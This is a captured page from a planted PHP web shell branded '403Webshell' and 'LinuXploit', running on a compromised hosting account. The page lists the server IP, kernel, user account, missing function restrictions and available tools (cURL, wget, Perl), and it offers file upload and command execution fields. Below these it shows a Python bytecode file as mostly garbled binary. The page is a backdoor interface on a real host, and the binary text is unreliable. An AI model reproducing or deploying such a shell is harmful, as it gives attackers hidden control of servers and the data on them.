403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/dulwich/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/dulwich/__pycache__/reflog.cpython-313.pyc
�

mEdg]��n�SrSSKrSSKJrJrJr \R"S/SQ5rSrSr	S	r
SSS
jjrg)
z-Utilities for reading and generating reflogs.�N�)�ZERO_SHA�format_timezone�parse_timezone�Entry��old_sha�new_sha�	committer�	timestamp�timezone�messagec��Uc[nUS-U-S-U-S-[[U55RS5-S-[	U5-S-U-$)z�Generate a single reflog line.

Args:
  old_sha: Old Commit SHA
  new_sha: New Commit SHA
  committer: Committer name and e-mail
  timestamp: Timestamp
  timezone: Timezone
  message: Message
� �ascii�	)r�str�int�encoderrs      �0/usr/lib/python3/dist-packages/dulwich/reflog.py�format_reflog_liner"s��������
�	�
�	��	��		�
�	��c�)�n�
�
$�
$�W�
-�
	.��	��(�
#�	$��		��
	��c	���URSS5upURSS5up4nURSS5upgn[UUU[U5[	U5SU5$)z�Parse a reflog line.

Args:
  line: Line to parse
Returns: Tuple of (old_sha, new_sha, committer, timestamp, timezone,
    message)
rrr�r)�split�rsplitrrr)	�line�beginrr	r
�restr�
timestamp_str�timezone_strs	         r�parse_reflog_liner">so���z�z�%��+��U�$�{�{�4��3��W�t�/3�{�{�4��/C�,�Y�|������M���|�$�Q�'��
�rc#�8# �UHn[U5v� M g7f)zORead reflog.

Args:
  f: File-like object
Returns: Iterator over Entry objects
N)r")�frs  r�read_reflogr%Ss�������%�%��s�c�0�US:a[SU35e/nUR5nUH/nURU[U545 UR5nM1 [	U5U-
S-
nX6SnURU5 US:XaUR
5 gX6	U(azUS:�atU(amUS:Xa[nOX6S-
SRnX6upIU[UU	RU	RU	RU	RU	R54X6'X6SH`up�UR[U	R U	RU	RU	RU	RU	R55 Mb UR
5 g)aDrop the specified reflog entry.

Args:
    f: File-like object
    index: Reflog entry index (in Git reflog reverse 0-indexed order)
    rewrite: If a reflog entry's predecessor is removed, set its
        old SHA to the new SHA of the entry that now precedes it
rzInvalid reflog index rN)�
ValueError�tell�appendr"�len�seek�truncaterr
rrrr
r�writerr	)r$�index�rewrite�log�offsetr�
inverse_index�write_offset�previous_new�entry�_s           r�drop_reflog_entryr7^sr��
�q�y��0���8�9�9�
�C�
�V�V�X�F����
�
�F�-�d�3�4�5���������H�u�$�q�(�M��%�a�(�L��F�F�<����z�	�
�
������5�1�9���A��#�L��q�0�1�!�4�<�<�L��*�
������
�
�����������
�
�

�

�����'���	�����
�
��
�
�����������
�
�

�		
�(��J�J�Lr)F)�returnN)�__doc__�collections�objectsrrr�
namedtuplerrr"r%r7�rr�<module>r>s=��,4��>�>�����K�	���8�*&�8r

Youez - 2016 - github.com/yon3zu
LinuXploit